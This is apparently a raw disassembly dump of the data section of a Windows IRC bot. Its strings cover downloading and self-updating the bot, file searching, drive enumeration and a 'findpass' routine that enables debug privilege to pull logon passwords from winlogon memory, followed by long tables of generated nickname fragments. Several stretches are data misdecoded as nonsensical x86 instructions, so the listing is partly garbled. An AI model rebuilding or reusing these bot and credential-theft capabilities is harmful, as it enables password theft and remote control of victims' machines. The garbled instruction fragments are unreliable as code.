aFileDoesnTExis db '- file doesn',27h,'t exist',0
align 4
unk_4380C8 db 2Dh ; - ; DATA XREF: sub_4161C1+82o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToBindTo db '- failed to bind to socket',0
unk_4380EC db 2Dh ; - ; DATA XREF: sub_4161C1+44o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToCrea_2 db '- failed to create socket',0
align 10h
unk_438110 db 2Dh ; - ; DATA XREF: sub_416563+1D1o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceivedSFromS db '- received %s from %s (%s bytes).',0
align 4
unk_43813C db 2Dh ; - ; DATA XREF: sub_416563+CBo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningSo db '- error opening socket',0
unk_43815C db 2Dh ; - ; DATA XREF: sub_416563+ABo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningFi db '- error opening file for writing',0
align 4
aAB db 'a+b',0 ; DATA XREF: sub_416563+97o
unk_43818C db 2Dh ; - ; DATA XREF: sub_416563+83o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorUnableToW db '- error unable to write file to disk',0
align 4
unk_4381BC db 2Dh ; - ; DATA XREF: sub_4167A0+493o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aBadUrlOrDnsErr db 'bad url or dns error at %s.',0
unk_4381E8 db 2Dh ; - ; DATA XREF: sub_4167A0+485o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aUpdateFailedEr db 'update failed, error executing %s',0
align 4
unk_43821C db 2Dh ; - ; DATA XREF: sub_4167A0+3C9o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
align 10h
dword_438260 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh
; DATA XREF: sub_4167A0+358o
dd 25206465h, 73h
unk_43827C db 2Dh ; - ; DATA XREF: sub_4167A0+2E1o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
align 4
unk_4382B4 db 2Dh ; - ; DATA XREF: sub_4167A0+262o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongCrcDD_ db 'wrong crc (%d != %d).',0
align 4
unk_4382DC db 2Dh ; - ; DATA XREF: sub_4167A0+1D8o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongFilesizeD db 'wrong filesize (%d != %d).',0
align 4
unk_438308 db 2Dh ; - ; DATA XREF: sub_4167A0+195o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aGotUpdateSDkb_ db 'got update %s (%dKB).',0
align 10h
unk_438330 db 2Dh ; - ; DATA XREF: sub_4167A0+183o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadedSDkb db 'downloaded %s (%dKB)',0
align 4
unk_438358 db 2Dh ; - ; DATA XREF: sub_4167A0+77o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0
align 10h
aUnknown db 'Unknown',0 ; DATA XREF: sub_416D48:loc_416D8Bo
; sub_419443+10Ao
aInvalid db 'Invalid',0 ; DATA XREF: sub_416D48:loc_416D85o
aDisk db 'Disk',0 ; DATA XREF: sub_416D48:loc_416D7Fo
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_416D48:loc_416D79o
aCdrom db 'Cdrom',0 ; DATA XREF: sub_416D48:loc_416D73o
align 4
off_4383A8 dd offset word_4D4152 ; DATA XREF: sub_416D48:loc_416D6Do
word_4383AC dw 3Fh ; DATA XREF: sub_416D48+1Fo
; sub_41AF8F:loc_41B091r
align 10h
aFailed db 'failed',0 ; DATA XREF: sub_416DD9:loc_416EB7o
; sub_416EFD+3Bo
align 4
aSkb db '%sKB',0 ; DATA XREF: sub_416DD9+6Co
align 10h
unk_4383C0 db 2Dh ; - ; DATA XREF: sub_416EFD+8Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0
align 4
unk_4383FC db 2Dh ; - ; DATA XREF: sub_416EFD+58o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0
aA_1 db 'A:\',0 ; DATA XREF: sub_416FCF:loc_417014o
dword_43843C dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h
; DATA XREF: sub_417054+C8o
dd 64252064h, 6C696620h, 7365h
unk_43845C db 2Dh ; - ; DATA XREF: sub_417054+5Co
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingFor_0 db 'searching for file %s',0
align 4
dword_438484 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h
; DATA XREF: sub_41716F+107o
dd 73252064h, 73255Ch
dword_4384A0 dd 2A5C7325h, 0 ; DATA XREF: sub_41716F+1Ao
unk_4384A8 db 2Dh ; - ; DATA XREF: sub_4172C1:loc_41743Ao
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToEnable db 'failed to enable debug privilege',0
align 4
unk_4384DC db 2Dh ; - ; DATA XREF: sub_4172C1:loc_41740Do
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindWi db 'unable to find winlogon pid',0
unk_438508 db 2Dh ; - ; DATA XREF: sub_4172C1:loc_417406o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindTh db 'unable to find the password in memory',0
align 10h
unk_438540 db 2Dh ; - ; DATA XREF: sub_4172C1+117o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
db 57h ; W
db 69h, 6Eh, 4Ch
db 6Fh ; o
db 67h, 6Fh, 6Eh
db 20h
db 49h, 6Eh, 66h
db 6Fh ; o
db 72h, 6Dh, 61h
db 74h ; t
db 69h, 6Fh, 6Eh
db 20h
db 28h, 50h, 49h
db 44h ; D
db 20h, 25h, 64h
db 29h ; )
db 20h, 2Dh, 20h
db 2
db 44h, 6Fh, 6Dh
db 61h ; a
db 69h, 6Eh, 2
db 3Ah ; :
db 20h, 2 dup(5Ch)
db 25h ; %
db 53h, 2Ch, 20h
db 2
db 55h, 73h, 65h
db 72h ; r
db 2, 3Ah, 20h
aSNoPassword_ db '(%S/(no password)).',0
aUserdomain: ; DATA XREF: sub_4172C1+DCo
unicode 0, <USERDOMAIN>,0
align 4
aUsername: ; DATA XREF: sub_4172C1+CEo
unicode 0, <USERNAME>,0
align 4
aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4172C1+9Ao
align 4
aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+8Do
align 10h
aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4172C1+80o
aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+73o
align 4
aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4172C1+68o
align 4
aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_4172C1+55o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4172C1+40o
; sub_4172C1+161o ...
align 4
unk_438678 db 2Dh ; - ; DATA XREF: sub_4172C1+35o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aOnlySupportedO db 'only supported on winnt/win2k',0
align 4
aMsgina db 'MSGINA',0 ; DATA XREF: sub_417493+13Eo
align 10h
aNwgina db 'NWGINA',0 ; DATA XREF: sub_417493+123o
align 4
aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_417493+AFo
align 4
dword_4386C4 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_4178F9+70o
; sub_417990+C7o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_438714 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_417990+E1o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
dd 2929h
off_438768 dd offset aQ ; DATA XREF: sub_417E84+5Cr
; "q"
; ---------------------------------------------------------------------------
sbb [ebx-4E77FFBDh], dl
inc edx
add [eax+1C0042C6h], ah
mov byte ptr [edx+0], 14h
xchg eax, ebx
inc ebx
add al, dl
scasd
inc edx
add [eax-3Ah], dh
inc edx
add [edi+ebp*4-4DE7FFBEh], ch
inc edx
add [eax-3Ah], bh
inc edx
add [eax], dl
xchg eax, ebx
inc ebx
add [ebx+edx*4], cl
inc ebx
add [eax], cl
xchg eax, ebx
inc ebx
add [ebx+edx*4], al
inc ebx
add [edi+esi*4+42h], bh
add ah, ch
retf 42h
; ---------------------------------------------------------------------------
dd offset dword_439300
; ---------------------------------------------------------------------------
cld
xchg eax, edx
inc ebx
add al, bh
xchg eax, edx
inc ebx
add al, dh
retf 42h
; ---------------------------------------------------------------------------
dd offset aV ; "v"
dd offset dword_4392F4
dd offset aN ; "n"
dd offset aM ; "m"
dd offset dword_4392F0
dd offset dword_4392EC
dd offset dword_4392E8
dd offset dword_4392E4
dd offset dword_4392E0
dd offset word_4392DC
dd offset dword_4392D8
dd offset aI_0 ; "I"
dd offset dword_4392D4
dd offset dword_4392D0
dd offset aA_0 ; "A"
dd offset dword_4392CC
dd offset dword_4392C8
dd offset dword_4392C4
dd offset dword_4392C0
dd offset dword_4392BC
dd offset dword_4392B8
dd offset dword_4392B4
dd offset dword_4392B0
dd offset dword_4392AC
dd offset dword_4392A8
dd offset dword_4392A4
dd offset dword_4392A0
dd offset dword_43929C
dd offset word_439298
dd offset aM_0 ; "M"
dd offset aSmartmir ; "SMARTMIR"
dd offset aFarooq ; "farooq"
dd offset aMaxxguy ; "maxxguy"
dd offset aBobmarley ; "BOBMARLEY"
dd offset aEmilya ; "emilya"
dd offset aKrizha ; "KRIZHA"
dd offset aCar1nna ; "Car1nna"
dd offset aSwin ; "swin"
dd offset aMale ; "male"
dd offset aKoko ; "koko"
dd offset aFlexster ; "flexster"
dd offset aKen ; "ken"
dd offset aShez ; "Shez"
dd offset aTalika ; "talika"
dd offset aMarcy ; "marcy"
dd offset aCme ; "cme"
dd offset aHeval ; "heval"
dd offset aBunty ; "bunty"
dd offset aJanno ; "janno"
dd offset aRimpy ; "rimpy"
dd offset aNastysha ; "nastysha"
dd offset aLuisa ; "Luisa"
dd offset aTroller ; "troller"
dd offset aManee ; "manee"
dd offset aKermit ; "kermit"
dd offset aPuregold ; "puregold"
dd offset aCoredump ; "CoreDump"
dd offset aImra ; "imra"
dd offset aGirl ; "GirL"
dd offset aCamel ; "CAMEL"
dd offset aReshma ; "reshma"
dd offset aKencing ; "Kencing"
dd offset aThr45h3r5 ; "THR45H3R5"
dd offset aCansuuuu ; "cansuuuu"
dd offset aKaan38dent ; "kaan38dent"
dd offset aErkan27 ; "erkan27"
dd offset aHexaaa ; "hexaaa"
dd offset aBerk19 ; "berk19"
dd offset aObenibisevse ; "OBeNiBiSeVSe"
dd offset aIrmal ; "irmal"
dd offset aMisssunday ; "misssunday"
dd offset aTolga34 ; "Tolga34"
dd offset aJericho ; "JERICHO"
dd offset aMary_0 ; "MARY"
dd offset aAkin ; "AKIN"
dd offset aMelekk ; "melekk"
dd offset aTrend3 ; "trend3"
dd offset aMERVE ; "M-E-R-V-E"
dd offset aTekir ; "tekir"
dd offset aVenedik34 ; "venedik34"
dd offset aSevmekmi ; "sevmekmi"
dd offset aSudenur ; "SUDENUR"
dd offset aArzu ; "ARZU"
dd offset aHaticem ; "haticem"
dd offset aErnesto ; "ERNESTO"
dd offset aAslii ; "aslii"
dd offset aPiramit ; "PIRAMIT"
dd offset aSamyeli21 ; "samyeli21"
dd offset aRetg ; "RETG"
dd offset aBlackpearl ; "blackpearl"
dd offset aPelincik ; "pelincik"
dd offset aAhmet ; "ahmet"
dd offset aTurkyy ; "turkyy"
dd offset aAnk32m ; "ank32m"
dd offset aZack ; "ZACK"
dd offset aIzmir39m ; "Izmir39m"
dd offset aAlbina ; "albina"
dd offset dword_439030
dd offset off_43902C
dd offset aAnkh ; "ankh"
dd offset aDonjuanm ; "Donjuanm"
dd offset aBogac ; "bogac"
dd offset aAlpay34m ; "alpay34m"
dd offset aCongueror ; "CoNGuERoR"
dd offset aDenizlim ; "DenizliM"
dd offset aBerk19m ; "Berk19m"
dd offset aDevran ; "devran"
dd offset aArda ; "arda"
dd offset aKeyiflisert ; "keyifliSERT"
dd offset aMurat34M ; "murat34-m"
dd offset aHakan3 ; "hakan3"
dd offset aImirzali ; "IMIRZALI--"
dd offset aRamtha ; "RAMTHA"
dd offset aEmre ; "Emre--"
dd offset aElmaazyok ; "elmaazyok"
dd offset aEsmerkiz ; "Esmerkiz"
dd offset aKebikec ; "kebikec"
dd offset aFlord ; "FLoRD"
dd offset aHoly ; "holy"
dd offset aMahinur ; "MAHINUR"
dd offset aSadikaellesme ; "SaDIkaEllesme"
dd offset aAykut1 ; "aykut1"
dd offset aKashmira ; "Kashmira"
dd offset aSeviseli ; "SeViSeLi"
dd offset aSugarboy ; "SUGARBOY-"
dd offset aUzgun36 ; "uzgun36"
dd offset aKumul ; "kumul"
dd offset aAdalim ; "ADALIM"
dd offset aUmut ; "umut-"
dd offset aAnk32M ; "ANK-32-M"
dd offset aDjspace ; "DJSPACE"
dd offset aAnkar ; "Ankar"
dd offset aFenerlee ; "FeNeRLee"
dd offset aHayran ; "hayran"
dd offset aAngelgirl ; "angelgirl"
dd offset aKapk ; "kapk"
dd offset aAchilles ; "Achilles"
dd offset aTegmen ; "TEGMEN"
dd offset aKotan ; "kotan"
dd offset aSevda ; "sevda"
dd offset off_438E98
dd offset aAlcatras ; "alcatras"
dd offset aA44m ; "a44m"
dd offset aBirsen ; "birsen"
dd offset aYabanc ; "yabanc"
dd offset aDevre ; "devre"
dd offset aErkan ; "erkan"
dd offset aAnkm ; "ankM"
dd offset aAdem28 ; "Adem28"
dd offset aMaxsilla ; "maxsilla"
dd offset aM41ist ; "M41IST"
dd offset aAdamm33 ; "AdAMM33"
dd offset aFirtina ; "firtina"
dd offset aAta29 ; "Ata29"
dd offset aKoray ; "KORAY"
dd offset aAkden ; "akden"
dd offset aIzmirlm ; "izmirlm"
dd offset aUla ; "ula"
dd offset aNeHaber ; "NE-HABER"
dd offset aPassenger ; "passenger"
dd offset aTropikal ; "tropikal"
dd offset aCool30m ; "cool30m"
dd offset aCem39 ; "cem39"
dd offset aRerpjj ; "RERPJJ"
dd offset aTeoman ; "TEOMAN```"
dd offset aDallas43m ; "DALLAS43M"
dd offset aPrometheus ; "prometheus"
dd offset aMaveRIck ; "MaVe{R}icK"
dd offset aAdamm ; "ADAMM"
dd offset aCumhur29 ; "cumhur29"
dd offset aWantedlove ; "WANTEDLOVE"
off_438A68 dd offset aSex ; DATA XREF: sub_417E84+41r
; sub_417E84+ECr
; "sex"
dd offset aLez ; "lez"
dd offset aZex ; "zex"
dd offset aTree ; "tree"
dd offset aBad ; "bad"
; ---------------------------------------------------------------------------
push 6000438Dh
lea eax, [ebx+0]
pop eax
lea eax, [ebx+0]
push eax
lea eax, [ebx+0]
dec eax
lea eax, [ebx+0]
inc eax
lea eax, [ebx+0]
cmp [ebp-72CFFFBDh], cl
inc ebx
add [eax], ch
lea eax, [ebx+0]
sbb al, 8Dh
inc ebx
add ds:8D0C0043h[ecx*4], dl
inc ebx
add [eax], cl
lea eax, [ebx+0]
add [ebp-6D0BFFBDh], cl
inc ebx
add al, dh
retf 42h
; ---------------------------------------------------------------------------
db 10h
db 93h ; “
db 43h ; C
db 0
db 88h ; ˆ
db 0B1h ; ±
db 42h ; B
db 0
db 0Ch
db 93h ; “
db 43h ; C
db 0
db 8
db 93h ; “
db 43h ; C
db 0
db 4
db 93h ; “
db 43h ; C
db 0
db 70h ; p
db 0C6h ; Æ
db 42h ; B
db 0
db 34h ; 4
db 0B9h ; ¹
db 42h ; B
db 0
db 7Ch ; |
db 0B7h ; ·
db 42h ; B
db 0
db 0ECh ; ì
db 0CAh ; Ê
db 42h ; B
db 0
dd offset dword_439300
dd offset aM ; "m"
dd offset aN ; "n"
dd offset aO ; "o"
dd offset aP ; "p"
dd offset aQ ; "q"
dd offset aRs ; "rs"
dd offset aT ; "t"
dd offset aU ; "u"
dd offset aV ; "v"
dd offset dword_439318
dd offset dword_4392F8
dd offset dword_439314
dd offset dword_4392FC
dd offset aHappy ; "happy"
dd offset aRg ; "rg"
dd offset aTy ; "ty"
dd offset aGf ; "gf"
dd offset aRt ; "rt"
dd offset aSdf ; "sdf"
dd offset aUi ; "ui"
dd offset aLuvy ; "luvy"
dd offset aTrimy ; "trimy"
dd offset aTruck ; "truck"
dd offset aMuckc ; "muckc"
dd offset dword_4392FC
dd offset dword_439308
dd offset aS_1 ; "s"
dd offset aQ ; "q"
dd offset off_438CB8
dd offset aBbl ; "|bbl"
dd offset byte_43DB88
dd offset byte_43DB88
dd offset a___0 ; "_|_"
dd offset byte_43DB88
dd offset byte_43DB88
dd offset byte_43DB88
dd offset byte_43DB88
dd offset dword_4392C4
dd offset aM_0 ; "M"
dd offset aLuvu ; "LUVU"
dd offset aSad ; "Sad"
dd offset aF_2 ; "^^^f^"
dd offset dword_4392F4
dd offset byte_43DB88
dd offset aSleeping ; "Sleeping"
dd offset byte_43DB88
dd offset byte_43DB88
dd offset aFuck_0 ; "Fuck"
dd offset aFree ; "Free"
dd offset byte_43DB88
dd offset byte_43DB88
dd offset dword_4392A8
dd offset byte_43DB88
dd offset aBoy ; "BOY"
dd offset aGirl_0 ; "GIRL"
dd offset aGurl ; "gurl"
dd offset aShit ; "shit"
dd offset aAha ; "aha"
dd offset aYeah ; "yeah"
dd offset aMuha ; "muha"
dd offset aMof0 ; "mof0"
dd offset aMofo ; "mofo"
dd offset dword_438C38
dd offset dword_438C34
dd offset dword_438C2C
dd offset dword_438C20
dd offset dword_438C18
dd offset dword_438C10
dd offset dword_438C08
dd offset dword_438C04
dd offset dword_438C00
dword_438C00 dd 7536h ; DATA XREF: .packed:00438BFCo
dword_438C04 dd 7535h ; DATA XREF: .packed:00438BF8o
dword_438C08 dd 7C75347Ch, 0 ; DATA XREF: .packed:00438BF4o
dword_438C10 dd 6F79347Bh, 7D75h ; DATA XREF: .packed:00438BF0o
dword_438C18 dd 7375347Ch, 7Ch ; DATA XREF: .packed:00438BECo
dword_438C20 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: .packed:00438BE8o
dword_438C2C dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: .packed:00438BE4o
dword_438C34 dd 6C6F6Ch ; DATA XREF: .packed:00438BE0o
dword_438C38 dd 746F74h ; DATA XREF: .packed:00438BDCo
aMofo db 'mofo',0 ; DATA XREF: .packed:00438BD8o
align 4
aMof0 db 'mof0',0 ; DATA XREF: .packed:00438BD4o
align 4
aMuha db 'muha',0 ; DATA XREF: .packed:00438BD0o
align 4
aYeah db 'yeah',0 ; DATA XREF: .packed:00438BCCo
align 4
aAha db 'aha',0 ; DATA XREF: .packed:00438BC8o
aShit db 'shit',0 ; DATA XREF: .packed:00438BC4o
align 4
aGurl db 'gurl',0 ; DATA XREF: .packed:00438BC0o
align 10h
aGirl_0 db 'GIRL',0 ; DATA XREF: .packed:00438BBCo
align 4
aBoy db 'BOY',0 ; DATA XREF: .packed:00438BB8o
aFree db 'Free',0 ; DATA XREF: .packed:00438BA4o
align 4
aFuck_0 db 'Fuck',0 ; DATA XREF: .packed:00438BA0o
align 4
aSleeping db 'Sleeping',0 ; DATA XREF: .packed:00438B94o
align 4
aF_2 db '^^^f^',0 ; DATA XREF: .packed:00438B88o
align 10h
aSad db 'Sad',0 ; DATA XREF: .packed:00438B84o
aLuvu db 'LUVU',0 ; DATA XREF: .packed:00438B80o
align 4
a___0 db '_|_',0 ; DATA XREF: .packed:00438B64o
aBbl db '|bbl',0 ; DATA XREF: .packed:00438B58o
align 4
off_438CB8 dd offset loc_425240+2 ; DATA XREF: .packed:00438B54o
aMuckc db 'muckc',0 ; DATA XREF: .packed:00438B40o
align 4
aTruck db 'truck',0 ; DATA XREF: .packed:00438B3Co
align 4
aTrimy db 'trimy',0 ; DATA XREF: .packed:00438B38o
align 4
aLuvy db 'luvy',0 ; DATA XREF: .packed:00438B34o
align 4
aUi db 'ui',0 ; DATA XREF: .packed:00438B30o
align 10h
aSdf db 'sdf',0 ; DATA XREF: .packed:00438B2Co
aRt db 'rt',0 ; DATA XREF: .packed:00438B28o
align 4
aGf db 'gf',0 ; DATA XREF: .packed:00438B24o
align 4
aTy db 'ty',0 ; DATA XREF: .packed:00438B20o
align 10h
aRg db 'rg',0 ; DATA XREF: .packed:00438B1Co
align 4
aHappy db 'happy',0 ; DATA XREF: .packed:00438B18o
align 4
aRs db 'rs',0 ; DATA XREF: .packed:00438AF8o
align 10h
aQ8A db '|q8|a',0
align 4
aQ8 db 'Q8',0
align 4
aSick db 'sick}}',0
align 4
aWiked db '|wiked|',0
aLuvuF db '||luvu-f|',0
align 4
aGens db '{gens|',0
align 10h
aSex_0 db '{sex}',0
align 4
aHub db '{hub}',0
align 10h
aLuck db '|luck|',0
align 4
aSuck db '|suck|',0
align 10h
aTot db '-|tot|',0
align 4
aWoh db '|woh|',0
align 10h
aTambe db '|tambe|',0
aLag db 'lag',0
aBad db 'bad',0 ; DATA XREF: .packed:00438A78o
aTree db 'tree',0 ; DATA XREF: .packed:00438A74o
align 4
aZex db 'zex',0 ; DATA XREF: .packed:00438A70o
aLez db 'lez',0 ; DATA XREF: .packed:00438A6Co
aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: .packed:00438A64o
align 4
aCumhur29 db 'cumhur29',0 ; DATA XREF: .packed:00438A60o
align 4
aAdamm db 'ADAMM',0 ; DATA XREF: .packed:00438A5Co
align 10h
aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: .packed:00438A58o
align 4
aPrometheus db 'prometheus',0 ; DATA XREF: .packed:00438A54o
align 4
aDallas43m db 'DALLAS43M',0 ; DATA XREF: .packed:00438A50o
align 4
aTeoman db 'TEOMAN```',0 ; DATA XREF: .packed:00438A4Co
align 10h
aRerpjj db 'RERPJJ',0 ; DATA XREF: .packed:00438A48o
align 4
aCem39 db 'cem39',0 ; DATA XREF: .packed:00438A44o
align 10h
aCool30m db 'cool30m',0 ; DATA XREF: .packed:00438A40o
aTropikal db 'tropikal',0 ; DATA XREF: .packed:00438A3Co
align 4
aPassenger db 'passenger',0 ; DATA XREF: .packed:00438A38o
align 10h
aNeHaber db 'NE-HABER',0 ; DATA XREF: .packed:00438A34o
align 4
aUla db 'ula',0 ; DATA XREF: .packed:00438A30o
aIzmirlm db 'izmirlm',0 ; DATA XREF: .packed:00438A2Co
aAkden db 'akden',0 ; DATA XREF: .packed:00438A28o
align 10h
aKoray db 'KORAY',0 ; DATA XREF: .packed:00438A24o
align 4
aAta29 db 'Ata29',0 ; DATA XREF: .packed:00438A20o
align 10h
aFirtina db 'firtina',0 ; DATA XREF: .packed:00438A1Co
aAdamm33 db 'AdAMM33',0 ; DATA XREF: .packed:00438A18o
aM41ist db 'M41IST',0 ; DATA XREF: .packed:00438A14o
align 4
aMaxsilla db 'maxsilla',0 ; DATA XREF: .packed:00438A10o
align 4
aAdem28 db 'Adem28',0 ; DATA XREF: .packed:00438A0Co
align 4
aAnkm db 'ankM',0 ; DATA XREF: .packed:00438A08o
align 4
aErkan db 'erkan',0 ; DATA XREF: .packed:00438A04o
align 4
aDevre db 'devre',0 ; DATA XREF: .packed:00438A00o
align 4
aYabanc db 'yabanc',0 ; DATA XREF: .packed:004389FCo
align 4
aBirsen db 'birsen',0 ; DATA XREF: .packed:004389F8o
align 4
aA44m db 'a44m',0 ; DATA XREF: .packed:004389F4o
align 4
aAlcatras db 'alcatras',0 ; DATA XREF: .packed:004389F0o
align 4
off_438E98 dd offset byte_4B5245 ; DATA XREF: .packed:004389ECo
aSevda db 'sevda',0 ; DATA XREF: .packed:004389E8o
align 4
aKotan db 'kotan',0 ; DATA XREF: .packed:004389E4o
align 4
aTegmen db 'TEGMEN',0 ; DATA XREF: .packed:004389E0o
align 4
aAchilles db 'Achilles',0 ; DATA XREF: .packed:004389DCo
align 10h
aKapk db 'kapk',0 ; DATA XREF: .packed:004389D8o
align 4
aAngelgirl db 'angelgirl',0 ; DATA XREF: .packed:004389D4o
align 4
aHayran db 'hayran',0 ; DATA XREF: .packed:004389D0o
align 4
aFenerlee db 'FeNeRLee',0 ; DATA XREF: .packed:004389CCo
align 4
aAnkar db 'Ankar',0 ; DATA XREF: .packed:004389C8o
align 10h
aDjspace db 'DJSPACE',0 ; DATA XREF: .packed:004389C4o
aAnk32M db 'ANK-32-M',0 ; DATA XREF: .packed:004389C0o
align 4
aUmut db 'umut-',0 ; DATA XREF: .packed:004389BCo
align 4
aAdalim db 'ADALIM',0 ; DATA XREF: .packed:004389B8o
align 4
aKumul db 'kumul',0 ; DATA XREF: .packed:004389B4o
align 4
aUzgun36 db 'uzgun36',0 ; DATA XREF: .packed:004389B0o
aSugarboy db 'SUGARBOY-',0 ; DATA XREF: .packed:004389ACo
align 10h
aSeviseli db 'SeViSeLi',0 ; DATA XREF: .packed:004389A8o
align 4
aKashmira db 'Kashmira',0 ; DATA XREF: .packed:004389A4o
align 4
aAykut1 db 'aykut1',0 ; DATA XREF: .packed:004389A0o
align 10h
aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: .packed:0043899Co
align 10h
aMahinur db 'MAHINUR',0 ; DATA XREF: .packed:00438998o
aHoly db 'holy',0 ; DATA XREF: .packed:00438994o
align 10h
aFlord db 'FLoRD',0 ; DATA XREF: .packed:00438990o
align 4
aKebikec db 'kebikec',0 ; DATA XREF: .packed:0043898Co
aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: .packed:00438988o
align 4
aElmaazyok db 'elmaazyok',0 ; DATA XREF: .packed:00438984o
align 4
aEmre db 'Emre--',0 ; DATA XREF: .packed:00438980o
align 10h
aRamtha db 'RAMTHA',0 ; DATA XREF: .packed:0043897Co
align 4
aImirzali db 'IMIRZALI--',0 ; DATA XREF: .packed:00438978o
align 4
aHakan3 db 'hakan3',0 ; DATA XREF: .packed:00438974o
align 4
aMurat34M db 'murat34-m',0 ; DATA XREF: .packed:00438970o
align 4
aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: .packed:0043896Co
aArda db 'arda',0 ; DATA XREF: .packed:00438968o
align 4
aDevran db 'devran',0 ; DATA XREF: .packed:00438964o
align 4
aBerk19m db 'Berk19m',0 ; DATA XREF: .packed:00438960o
aDenizlim db 'DenizliM',0 ; DATA XREF: .packed:0043895Co
align 4
aCongueror db 'CoNGuERoR',0 ; DATA XREF: .packed:00438958o
align 4
aAlpay34m db 'alpay34m',0 ; DATA XREF: .packed:00438954o
align 10h
aBogac db 'bogac',0 ; DATA XREF: .packed:00438950o
align 4
aDonjuanm db 'Donjuanm',0 ; DATA XREF: .packed:0043894Co
align 4
aAnkh db 'ankh',0 ; DATA XREF: .packed:00438948o
align 4
off_43902C dd offset byte_457441 ; DATA XREF: .packed:00438944o
dword_439030 dd 414C5941h, 2Dh ; DATA XREF: .packed:00438940o
aAlbina db 'albina',0 ; DATA XREF: .packed:0043893Co
align 10h
aIzmir39m db 'Izmir39m',0 ; DATA XREF: .packed:00438938o
align 4
aZack db 'ZACK',0 ; DATA XREF: .packed:00438934o
align 4
aAnk32m db 'ank32m',0 ; DATA XREF: .packed:00438930o
align 4
aTurkyy db 'turkyy',0 ; DATA XREF: .packed:0043892Co
align 4
